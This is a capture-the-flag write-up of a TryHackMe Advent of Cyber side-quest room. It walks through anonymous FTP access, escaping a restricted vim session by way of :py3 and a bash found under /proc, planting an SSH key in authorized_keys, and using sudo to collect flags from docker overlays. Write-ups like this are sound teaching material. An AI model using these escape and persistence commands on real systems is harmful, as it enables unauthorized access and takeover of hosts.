Information
Room#
- Name: Frosteau Busy with Vim
- Profile: tryhackme.com
- Difficulty: Insane
- Description: Stay frosty!
This is the Side Quest Challenge 3 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S nmap gtfoblookup |
Challenge#
Network enumeration#
Port and service enumeration with nmap
:
1 | # Nmap 7.94 scan initiated Tue Mar 5 21:37:28 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.40.126 |
Seems that we have a web server, a SSH server, a FTP server and three telnet services.
Web enumeration#
We get a 405 error code (Method Not Allowed.
), also it seems it's a web socket. So let's try another service for now.
FTP enumeration#
Anonymous connection is allowed.
1 | ➜ ftp 10.10.40.126 8075 |
A bunch of files are available:
1 | ftp> ls |
Retrieve every file with the get
FTP command.
The first flag is contained in flag-1-of-4.txt
.
flag-2-of-4.sh
just contains the follwing line:
1 | echo $FLAG2 |
So we know the second flag will be in an environment variabled named FLAG2
.
FROST-2247-SP.txt
contains information about The Frostling Five, maybe this will prove being useful later.
YETI-1125-SP.txt
is similar but about Bandit Yeti, Snowbyte Hacker, Frosty Fingers.
The images don't seem useful for now, unless there is some stego required.
Telnet interaction & shell escape#
On port 8065, the connection seems to close pretty quick.
On port, 8085
we are in vim and on port 8095
we are in nano. So it's looks like we have to escape to the shell (shell escape, see this challenge on ROOT-ME).
If you don't know the tricks by heart, you can refresh your memories with gtfoblookup
:
1 | ➜ gtfoblookup gtfobins search -c shell vim |
With :!/bin/bash
, we have this error: Cannot execute shell /tmp/sh
. But in fact, whatever is the command we want to execute we have the same error.
:echo $FLAG2
displays the 2nd flag.
Let's see if we have more chance with nano
:
1 | ➜ gtfoblookup gtfobins search -c shell nano |
Seems that the classic technic doesn't work here.
Let's get back to vim, :py
doesn't work but :py3
does!
A simple os.system
isn't very useful as the output is not returned as a string. The two following commands either as they try to open a shell with /bin/sh
. The same apply for all reverse shell techniques as we can't use a shell.
1 | :py3 import os; os.popen('id').read() |
So rather than trying harder, we can trying smarter. os.system
doesn't use a shell so let's redirect the output to a file then read that file…
1 | :py3 import os; os.system("id > /tmp/noraj.log"); print(open("/tmp/noraj.log").read()) |
But for some reason whatever is use (pipe, redirection, or script) os.system
seems to not be able to write to a file (only on this machine). So then open returns an error
.
System exploration & shell escape#
With :Ex
we have a file explorer we can use to browse and read files.
We notice /bin
points to /usr/bin
that is empty so we don't have shell. At some point we may be forced to upload one (I can write text files with nano or vim, binary files with ftp or python, and we can vim functions like :call setfperm("/tmp/noraj.sh","rwxrwx---")
to make binaries executable).
FTP files are in /tmp/ftp
.
Uploading a static shell alone won't be very useful as no coreutils or mostly any useful binaries outside those in /usr/sbin
are available.
Wait! So my :py3
experimentations were not working because /bin
and /usr/bin
are empty. But it seems tehre is a busybox as there are files: /etc/busybox
and /etc/file/busybox
. We can also see this via environment variables.
1 | :echo $BU # /etc/file/busybox |
Note: 💡 :echo $
let you list all existing environment variables.
I also saw the current "shell" is /tmp/sh
and there is one in /usr/forsty/sh
as well but both seems "empty".
In /etc/shell
we can see /usr/busybox/sh
. Also /.docerenv
indicates we are in a docker container.
In /proc/etc/environ
we can read the following (some ideas on about how the busybox was setup).
1 | MAIL=/var/mail/ubuntu |
Note :version
in Vim show the compilation options and all, so it can speedup the recon rather than trying to exectue any command to see if it's available or not.
Being very smart, shell escape WITHOUT UPLOADING#
At this point I know I could upload a reverse shell binary or a busybox or something but I'm excited about rooting the box without uploading anything, I think it should be possible.
Just to verify that theory (and to prove I'm smart), let's try to do this:
- Escape busybox
which bash
->/usr/bin/bash
on a normal machine- We can read
/proc
and/proc/<id>/root
is a symbolic link to the root of process - Let's create a loop over positive interger and trying to access
/proc/<id>/root/usr/bin/bash
- Once we found the true bash outside teh busybox we define it as shell in vim with
:set shell=path/to/bash
- Escape by executing
:!/proc/<id>/root/usr/bin/whatever
- Mess with the f**king system!
1 | import os |
Note: in our case os.path.exists('file')
is better than pathlib.Path('file').exists()
because the later triggers a PermissionError
while the first just return False
in that case.
Now let's inline that.
1 | import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")] |
Vim it!
1 | :py3 import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")] |
It returns lots of IDs but teh first one is 1018.
Shell it!
1 | :set shell=/proc/1018/root/usr/bin/bash |
:!id
will return /proc/1018/root/usr/bin/bash: id: command not found
because of course we still have no coreutil binaries in our PATH.
But remember? Our mission is to be smart. So what about:
1 | :!PATH=/proc/1018/root/usr/bin:$PATH id |
Of course it works:
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
Let's get serious, we have been kidding for too long:
1 | :shell |
It's time for an upgrade#
1 | ubuntu@busybusybox:/$ sudo |
We don't want to patch that forever, let's get a really access with a SSH connection outside the busybox.
On my machine let's create a SSH key:
1 | ssh-keygen -t ed25519 -Z chacha20-poly1305@openssh.com -f noraj_de_ma_clé |
Write it in the user authorized keys.
1 | printf %s 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEXiHbH+uti30TKOD+Y8BmVXfzzCFpt6BBu+chMfJCRI noraj@penarch' > /proc/1018/root/home/ubuntu/.ssh/authorized_keys |
Oh yeah! I love this connection better:
1 | ➜ ssh ubuntu@10.10.40.126 -i noraj_de_ma_clé |
Note: By jumping to the host, I guess we skipped the step where we were supposed to escape from the docker, lol.
Flag them all#
We must have taken some shortcuts so we must have missed flags on the road.
But now that we are root on the host, let's make up for lost time.
1 | ubuntu@tryhackme:~$ sudo ls -lhA /root/ |
As we went to quickly and skipped the docker step, we missed the third flag, it must be in the docker overlay.
1 | ubuntu@tryhackme:~$ sudo find /var/lib/docker/overlay2/ -type f -name flag-3-of-4.txt |
Else we can do that another way:
1 | ubuntu@tryhackme:~$ sudo docker ps |